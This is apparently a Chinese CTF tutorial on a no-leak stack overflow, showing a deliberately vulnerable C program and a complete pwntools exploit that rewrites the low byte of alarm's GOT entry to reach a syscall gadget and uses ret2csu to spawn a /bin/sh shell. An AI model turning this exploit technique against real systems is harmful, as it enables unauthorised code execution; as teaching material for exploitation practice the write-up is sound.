No_leak(ret2ROP + 低字节改写到syscall)
No_leak
有这种题,题目很短小,只有一个read函数,没有输出函数,这样的题怎么解呢?当然首先想到的是ret2dl,但是那个有点儿复杂。下面我来介绍一种简单的解法。
代码如下:
//gcc 1.c -no-pie -fno-stack-protector -o test
#include <unistd.h>
#include <stdio.h>
void func(){
char buf[0x20];
return read(0,buf,0x100);
}
int main()
{
setvbuf(stdin , 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(0x2333);
func();
return 0;
}
先来看看保护:
程序很很简单,就是简单的栈溢出,遇到这种题,我们首选ROP,当然ret2dl也是ROP中的一种。
方法就是ret2csu 或者ret2ROP 低字节改写到syscall。
先来看看got表
我们知道函数在第一次调用时,会把真实的地址写到got表中。这里我们选择alarm。
我们用x/100i 0x00007ffff7ad9200
(注意低1位字节设置为0)我们找找看有没有syscall。
可以看到0x00007ffff7ad9205的地方存在syscall,好了,接下来我们只要想办法修改alarm的got的低位字节为05,然后使用ROP控制其他寄存器的参数,就可以实现syscall调用execve('/bin/sh\x00',0,0)
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./test')
elf = ELF('./test')
bss = 0x0601038
pop_rdi_ret = 0x400773
pop_rsi_r15_ret = 0x400771
main = 0x0400696
#往bss中写入 /bin/sh\x00
payload = 'A'*0x28 + p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(elf.plt['read'])+p64(main)
p.sendline(payload)
sleep(1)
p.sendline('/bin/sh\x00')
payload = 'B'*0x28+p64(pop_rsi_r15_ret)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read']) #改写alarm的值
payload += p64(pop_rsi_r15_ret)+p64(0x0601050)+p64(0)+p64(elf.plt['read']) #这里调用read是为了控制rax为0x3b
payload += p64(0x40076A)+ p64(0)+p64(1)+p64(elf.got['alarm'])+p64(0)+p64(0)+p64(bss)+p64(0x400750) #通过ret2csu控制其他参数
p.sendline(payload)
sleep(1)
p.send('\x05')#改写alarm到syscall
sleep(1)
p.send('C'*0x3b)#使得rax=0x3b
p.interactive()
No_leak(ret2ROP + 低字节改写到syscall)的更多相关文章
- Unicode其实是Latin1的扩展。只有一个低字节的Uncode字符其实就是Latin1字符——附各种字符编码表及转换表
一.概念 1,ASCII ASCII(American Standard Code for Information Interchange),中文名称为美国信息交换标准代码.是 ...
- LITTLE-ENDIAN(小字节序、低字节序) BOM——Byte Order Mark 字节序标记 数据在内存中的存放顺序
总结: 1. endian 字节存放次序 字节序,顾名思义字节的顺序,再多说两句就是大于一个字节类型的数据在内存中的存放顺序(一个字节的数据当然就无需谈顺序的问题了). 2. LITTLE-ENDIA ...
- 对GBK的理解(内附全部字符编码列表):扩充的2万汉字低字节的高位不等于1,而且还剩许多编码空间没有利用
各种编码查询表:http://bm.kdd.cc/ 由于GB 2312-80只收录6763个汉字,有不少汉字,如部分在GB 2312-80推出以后才简化的汉字(如“啰”),部分人名用字(如中国前总理朱 ...
- 低字节序和高字节序相互转换(Little Endian/Big Endian)
这个例子展示了如何转换整形数字的字节顺序,该方法可以用来在little-endian和big-endian之间转换. 说明:Windos(x86,x64)和Linux(x86,x64)都是little ...
- C/C++学习笔记---高地址、低地址、大段字节序、小段字节序
字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端.大端两种字节顺序. 小端字节序指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处: 大端字节序是高字节数据存放在低地址 ...
- 大端字节序&小端字节序(网络字节序&主机字节序)
大端字节序:整数的高位字节存储在内存的低地址处,低字节存储在内存的高地址处. 小端字节序:整数的高位字节存储在内存的高地址处,低字节存储在内存的低地址处. 一般pc大多采用小端字节序,也称为主机字节序 ...
- 基于X86平台的PC机通过网络发送一个int(32位)整数的字节顺序
1.字节顺序 字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端.大端两种字节顺序.小端字节序指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处:大端字节序是高字节数据存 ...
- 字节序相关问题简单总结,LSB与MSB
细细碎碎的知识点还真是不少啊,今天总结下通信中的数据字节序的问题. 先来认识名词: MSB:Most Significant Bit. “最高有效位” LSB:Least Significant ...
- 4. 如何解释dalvik字节码
如何解释dalvik字节码 文档: 在Android系统源码目录dalvik\docs有相关指令文档 dalvik-bytecode.html 实战: 来直接实战模拟来理解枯燥的理论 用IDA打开一个 ...
随机推荐
- 「NGK每日快讯」12.11日NGK公链第38期官方快讯!
- CAD颜色对照表
cad颜色代码与RGB参数对应表 1 255 0 02 255 255 03 0 255 04 0 255 2555 0 0 2556 255 0 2557 0 0 08 128 128 1289 1 ...
- 多种转弯角度的PBN旁切转弯图例分析
无论世界怎样变化,我们依然是有点阳光就灿烂.面对世界的未知,最好的状态是勇敢的去面对,努力的去生活. 今天我们继续来聊一下PBN旁切转弯. PBN转弯保护区的结构通常都与它们的转弯角度大小有关,转弯角 ...
- RabbitMq手动确认时的重试机制
本文转载自RabbitMq手动确认时的重试机制 消息手动确认模式的几点说明 监听的方法内部必须使用channel进行消息确认,包括消费成功或消费失败 如果不手动确认,也不抛出异常,消息不会自动重新推送 ...
- 二分图最小点覆盖构造方案+König定理证明
前言 博主很笨 ,如有纰漏,欢迎在评论区指出讨论. 二分图的最大匹配使用 \(Dinic\) 算法进行实现,时间复杂度为 \(O(n\sqrt{e})\),其中, \(n\)为二分图中左部点的数量, ...
- 扒几个 3D 模型备用
前言 在上一篇中,我展示了 OpenGL 开发的基本过程,算是向 3D 世界迈出的一小步吧.对于简单的 3D 物体,比如立方体.球体.圆环等等,我们只需要简单的计算就可以得到他们的顶点的坐标.但是仅仅 ...
- EFCodeFirst Migrations数据库迁移
EFCodeFirst Migrations数据库迁移 数据库迁移 1.生成数据库 修改类文件PortalContext.cs的静态构造函数,取消当数据库模型发生改变时删除当前数据库重建新数据库的设置 ...
- SpringCloud组件
1.Hystrix 1.1.简介 Hystrix,英文意思是豪猪,全身是刺,看起来就不好惹,是一种保护机制. Hystrix也是Netflix公司的一款组件. 主页:https://github.co ...
- selenium之元素定位的方法(一)
WebDriver 对象有多种方法用于在页面中寻找元素.他们被分成find_element_*和find_elements_*方法.find_element_*方法返回一个WebElement对象,代 ...
- .NET Core Generic Host项目使用Topshelf部署为Windows服务
1..NET Core Generic Host是什么? 在.NET Core 2.1版本加入了一种新的Host,即Generic Host(通用主机). 现在在2.1版本的Asp.Net Core中 ...